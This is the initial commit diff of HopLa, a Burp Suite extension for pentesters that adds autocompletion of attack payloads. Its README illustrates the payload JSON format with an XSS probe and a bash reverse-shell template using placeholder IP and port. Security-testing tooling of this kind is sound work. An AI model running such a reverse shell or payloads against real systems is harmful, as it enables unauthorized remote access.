Init

synacktiv · May 6, 2021 · 3620707 · 3620707
commit 3620707
Show file tree

Hide file tree

Showing 15 changed files with 3,852 additions and 0 deletions.
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,3 @@
+.gradle
+build
+releases
diff --git a/AUTHORS b/AUTHORS
@@ -0,0 +1 @@
+* Alexis Danizan
diff --git a/BappDescription.html b/BappDescription.html
@@ -0,0 +1 @@
+<p>Context menu on steroïds</p>
diff --git a/BappManifest.bmf b/BappManifest.bmf
@@ -0,0 +1,12 @@
+Uuid: 48006894b97966581660047517ea3f42
+ExtensionType: 1
+Name: HopLa
+RepoName: HopLa
+ScreenVersion: 1.0
+SerialVersion: 0
+MinPlatformVersion: 0
+ProOnly: False
+Author: Alexis Danizan / Synacktiv
+ShortDescription: Enable autocompletion for payload.
+EntryPoint: releases/HopLa.jar
+BuildCommand: gradle jar
diff --git a/LICENSE b/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2020, Synacktiv
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/README.md b/README.md
@@ -0,0 +1,125 @@
+# HopLa
+
+💥 All the power of PayloadsAllTheThings, without the overhead. 
+This extension adds autocompletion support and useful payloads in Burp Suite to make your intrusion easier.
+
+Feel free to improve with your payloads ! ❤️
+
+Developed by Alexis Danizan [![Twitter Follow](https://img.shields.io/twitter/follow/alexisdanizan?style=social)](https://twitter.com/alexisdanizan/)  
+Released as open source by [Synacktiv 🥷](https://www.synacktiv.com/) 
+
+
+![Demo GIF](img/demo.gif)
+
+## Getting Start
+
+
+### Installation
+
+ * Download the jar file from the release directory
+ * Add it to Burp Suite using the Extender tab
+
+### Build
+
+Execute `gradle build` and you'll have the plugin ready in `releases/HopLa.jar`.
+
+## Usage
+
+By default HopLa is ship with default payloads. You can add your's by loading a custom JSON file in the the menu. 
+
+At the first usage HopLa creates a JSON file containing all the payloads in the jar file directory.
+
+Press `Ctrl+Q` to display the payload library menu.
+
+You can disable the global autocompletion in the top menu.
+
+For i3, add the following line to `$HOME/.config/i3/config` for floating frame:
+
+```
+for_window [class=".*burp-StartBurp.*" title="^ $"] floating enable
+```
+
+### How to add payloads
+
+The JSON payload file follow the structure:
+
+```json
+{
+    "categories": [
+        {
+            "name": "XSS",
+            "values": [
+                {
+                    "name": "Simple",
+                    "value": "<script>alert(1)</script>"
+                },
+                {
+                    "name" : "Nested XSS menu",
+                    "values": [
+                        {
+                            "name": "Simple 2",
+                            "value": "<script>alert(1)</script>"
+                        }
+                    ]
+                }
+            ]
+        }
+    ],
+    "keywords": [
+        {
+            "name": "Headers",
+            "values": [
+                "X-Forwarded-For",
+                "X-Originally-Forwarded-For",
+                "X-Originating-Ip",
+                "X-Originating-IP"
+            ]
+        }
+    ]
+}
+```
+There is no nesting limit.
+
+You can automatically add a prompt dialog:
+```json
+{
+    "name":  "Bash UDP",
+    "value":  "sh -i >& /dev/udp/§IP§/§PORT§ 0>&1",
+    "prompt": ["IP","PORT"]
+},
+```
+
+To add only keywords that do not appear in the menu, you can add them in the keywords category:
+
+```json
+{
+    "keywords": [
+        {
+            "name": "Headers",
+            "values": [
+                "X-Forwarded-For",
+                "X-Originally-Forwarded-For",
+                "X-Originating-Ip",
+                "X-Originating-IP"
+            ]
+        }
+    ]
+}
+```
+
+## Roadmap
+
+* Support custom key binding for payload menu
+
+## Thanks To
+
+ * https://github.com/Static-Flow/BurpSuiteAutoCompletion
+ * https://github.com/d3vilbug/HackBar
+
+Thanks a lot for your awesome work !
+
+## License
+
+Released under BSD 3-Clause License see LICENSE for more information
+
+Please feel free to report bugs, suggest features, or send pull requests.
diff --git a/build.gradle b/build.gradle
@@ -0,0 +1,29 @@
+apply plugin: 'java'
+
+sourceCompatibility = 1.8
+targetCompatibility = 1.8
+
+repositories {
+    mavenCentral()
+}
+
+dependencies {
+    compile 'net.portswigger.burp.extender:burp-extender-api:1.7.22'
+    compile 'com.googlecode.json-simple:json-simple:1.1.1'
+    compile 'commons-io:commons-io:2.8.0'
+}
+
+jar{
+    baseName = project.name
+    from {
+        (configurations.compile).collect { it.isDirectory() ? it : zipTree(it) }
+    }{
+        exclude "META-INF/*.SF"
+        exclude "META-INF/*.DSA"
+        exclude "META-INF/*.RSA"
+    }
+}
+
+tasks.withType(Jar) {
+    destinationDir = file("$rootDir/releases")
+}
diff --git a/img/demo.gif b/img/demo.gif
diff --git a/settings.gradle b/settings.gradle
@@ -0,0 +1 @@
+rootProject.name = 'HopLa'
diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java
@@ -0,0 +1,11 @@
+package burp;
+
+import com.hopla.HopLa;
+
+
+public class BurpExtender extends HopLa
+{
+	public static void main(String [] args){
+		System.out.println("HopLa extension loaded.");
+	}
+}